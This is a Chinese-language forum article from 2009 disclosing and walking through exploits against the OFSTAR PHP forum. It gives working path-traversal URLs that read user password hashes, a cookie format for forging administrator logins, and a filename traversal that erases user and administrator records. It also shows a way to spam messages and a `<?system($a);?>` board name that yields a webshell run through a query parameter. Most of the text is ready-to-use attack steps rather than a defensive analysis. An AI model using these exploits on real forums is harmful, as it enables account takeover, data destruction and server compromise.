首页 网络安全 安全学院 查看内容

OFSTAR论坛漏洞利用

2009-2-4 05:15 688 0

摘要: 作者简介:saiy 火狐技术联盟核心组成员 漏洞名称:ofstar php+txt 论坛严重漏洞风险等级:高备注:漏洞内部发布日期 05/01/09    公开发布日期 05/01...
关键词: nbsp 短消息 php 漏洞 userdata 用户名 userdir 帖子 论坛 代码

作者简介:saiy 火狐技术联盟核心组成员 漏洞名称:ofstar php+txt 论坛严重漏洞风险等级:高备注:漏洞内部发布日期 05/01/09    公开发布日期 05/01/11         注意!!!通过此方法造成的任何损失与火狐技术联盟无关ofstar论坛的read.php存在极大的安全隐患!我们先来看一下read.php中的两行代码 $articlearray=openfile("$dbpath/$fid/$tid.php");$topic_detail=explode("|",$articlearray[0]); 可以看出该句直接打开forumdir/版块名/帖子数.php,以|为分隔符号读出内容。而其中帖子数我们是可以构造的,但是有的东西我们是读不出来的,因为必须以|为分隔读内容,而ofstar恰巧很多东西都是这样保存的,比如说是用户资料的保存开始,提交地址http://localhost/read.php?fid=1&tid=../../userdir/saiy那么便读出了saiy的密码散列,在用户名的位置显示出来了!可以利用伪造cookies登陆论坛!格式为: lastPP=1; ofstaradminid=管理用户名; ofstaradminpwd=管理散列口令; ol_offset=202; ofstarid=用户名; ofstarpwd=散列口令; lastvisit=1105276862漏洞二,利用message.php制造垃圾短消息。。(这个方法好象在2004年6月份一本杂志上看到过)我们先来看发送短消息的那部分代码! elseif(!file_exists("$userpath/$msg_ruser.php")){                 $mes_info="用户不存在.";           }这段代码的意思就是说看在userdir($userpath这个等于userdir这个值)这个文件夹下是否存在用户名.php,它是利用检查userdir\你输入的用户名.php存在与否来觉得此用户是否存在的,那我们怎么利用这个函数呢?假设我们输入的用户是../index的话,程序在代码里运行的情况就是file_exists("userdir/../index.php") 再换个样子,变成file_exists("./index.php") 懂了吧`程序变成去检查首页是否存在,存在就当作用户存在发出短消息。短消息本来是保存在userdata/msgbox目录下,以用户名1.php格式保存的,那这样子,我们这条消息就被移到了userdata/目录下,名字为index1.php,我们可以写个程序调用检查其他文件是不是存在然后发出短消息。达到垃圾短消息的目的,有的人会说论坛限制了重复的发短消息,对,没错,但是你发现没有,当他提示“发送失败:请不要在 10 秒内连续性的发送短消息. ”时候你刷新页面,消息还是发送出去了的!!漏洞三 恶意删除文件内容删除论坛的短消息的url为http://www.某某站.com/message.php?action=del&msg=0&filename=saiy1.php大家注意后面的saiy1.php,我们查看message.php,看看关于删除短消息是怎么写的? if (file_exists("userdata/$msgpath/$filename")){           $receivearray=openfile("userdata/$msgpath/$filename");           $count=count($receivearray);           for ($i=0; $i<$count; $i++)           {if ($i==$msg)unset($receivearray[$msg]);}           $newmsgdb=implode("",$receivearray);           writeover("userdata/$msgpath/$filename",$newmsgdb);                 }     $mes_info='成功删除一条信息'; 居然没有过滤$filename提交的内容!假设我们把filename修改为../../userdir/saiy.php我们就清空了saiy这个用户的所有注册资料了~而当我们把后面的文件名改为../../bbsdata/manager.php那我们就清空了所有管理员!其他的操作大家也可以想得到了!3 论坛注册过滤不全!论坛里注册时候没有过滤掉一些特殊字符,导致黑客可以在论坛进行恶意破坏,假设黑客注册名为saiy#happy,那么当对此黑客进行编辑或是发送消息的时候将会对saiy进行操作了,除非手动把#替换成%23才可以进行正常的操作!4 搜索功能有可能被拿到管理权限的黑客利用其实Ofstar2.0的安全性质总体来说还是很好的,假设被黑客拿到了管理权限你也入侵不了服务器,只能在论坛打住,因为你无法饶过论坛的上传限制,但是,不小心的是论坛的搜索功能有可能被黑客利用进行入侵,首先,拿到管理权限的黑客可以到后台添加一个版块为<?system($a);?>然后到这个版块发帖子,他发完帖子进行搜索(搜索所发的帖子)便可以得到一个webshell,调用方式为,http://站点地址.com/userdata/cache/关键词ALLCor0.php?a=dir当然,你也可以运行其他的命令!!
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部